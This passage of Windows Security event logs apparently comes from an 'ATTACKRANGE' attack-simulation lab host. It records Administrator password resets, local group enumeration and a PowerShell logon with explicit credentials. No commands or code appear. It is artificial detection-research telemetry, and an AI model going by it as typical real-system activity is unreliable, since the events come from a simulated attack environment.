SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245240 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245239 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245238 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:13 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5033 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245237 -Keywords=Audit Success -Message=The Windows Firewall Driver started successfully. -03/11/2021 11:36:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5024 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245251 -Keywords=Audit Success -Message=The Windows Firewall service started successfully. -03/11/2021 11:36:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245250 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:36:14 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245249 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:36:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245253 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:20 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245252 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245255 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:36:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245254 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x38c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:36:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4724 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245261 -Keywords=Audit Success -Message=An attempt was made to reset an account's password. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR -03/11/2021 11:36:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245260 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: Administrator - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: 3/1/2021 12:30:02 PM - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x10 - New UAC Value: 0x10 - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:36:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245259 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xfe4 - Process Name: C:\Windows\System32\net1.exe -03/11/2021 11:36:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245258 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Guest - Account Name: Guest - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xb20 - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:36:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245257 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\DefaultAccount - Account Name: DefaultAccount - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xb20 - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:36:56 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245256 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xb20 - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=245269 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x41c - Process Name: C:\Windows\System32\svchost.exe -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Special Logon -OpCode=Info -RecordNumber=245268 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245267 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 4 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0xc28 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - -Network Information: - Workstation Name: EC2AMAZ-JQSN6NR - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Logon -OpCode=Info -RecordNumber=245266 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0xc28 - Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=245265 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: EC2AMAZ-JQSN6NR -Error Code: 0x0 -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245264 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Guest - Account Name: Guest - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xb20 - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245263 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\DefaultAccount - Account Name: DefaultAccount - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xb20 - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:37:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245262 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0xb20 - Process Name: C:\Windows\System32\wbem\WmiPrvSE.exe -03/11/2021 11:37:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4724 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245273 -Keywords=Audit Success -Message=An attempt was made to reset an account's password. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR -03/11/2021 11:37:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4738 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245272 -Keywords=Audit Success -Message=A user account was changed. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Target Account: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Changed Attributes: - SAM Account Name: Administrator - Display Name: - User Principal Name: - - Home Directory: - Home Drive: - Script Path: - Profile Path: - User Workstations: - Password Last Set: 3/1/2021 12:30:10 PM - Account Expires: - Primary Group ID: 513 - AllowedToDelegateTo: - - Old UAC Value: 0x10 - New UAC Value: 0x10 - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: All - -Additional Information: - Privileges: - -03/11/2021 11:37:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245271 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0x0 - Process Name: - -03/11/2021 11:37:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4798 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=User Account Management -OpCode=Info -RecordNumber=245270 -Keywords=Audit Success -Message=A user's local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -User: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - -Process Information: - Process ID: 0x0 - Process Name: - -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245283 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245282 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: EC2AMAZ-JQSN6NR$ - Account Domain: WORKGROUP - Logon ID: 0x3E7 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: 34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245281 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245280 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Key File Operation Information: - File Path: C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\34f20231e4ca291eb1b001b659a999f1_df39b6b4-63d4-40b3-b2d0-118f8f0b6015 - Operation: Read persisted key from file. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5061 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=System Integrity -OpCode=Info -RecordNumber=245279 -Keywords=Audit Success -Message=Cryptographic operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: RSA - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Cryptographic Operation: - Operation: Open Key. - Return Code: 0x0 -03/11/2021 11:37:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=5058 -EventType=0 -Type=Information -ComputerName=EC2AMAZ-JQSN6NR -TaskCategory=Other System Events -OpCode=Info -RecordNumber=245278 -Keywords=Audit Success -Message=Key file operation. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: EC2AMAZ-JQSN6NR - Logon ID: 0x718C5 - -Cryptographic Parameters: - Provider Name: Microsoft Software Key Storage Provider - Algorithm Name: UNKNOWN - Key Name: tp-ffd20473-3ab1-4c47-b08e-a6a20f099540 - Key Type: Machine key. - -Key File Operation Information: - File Path: 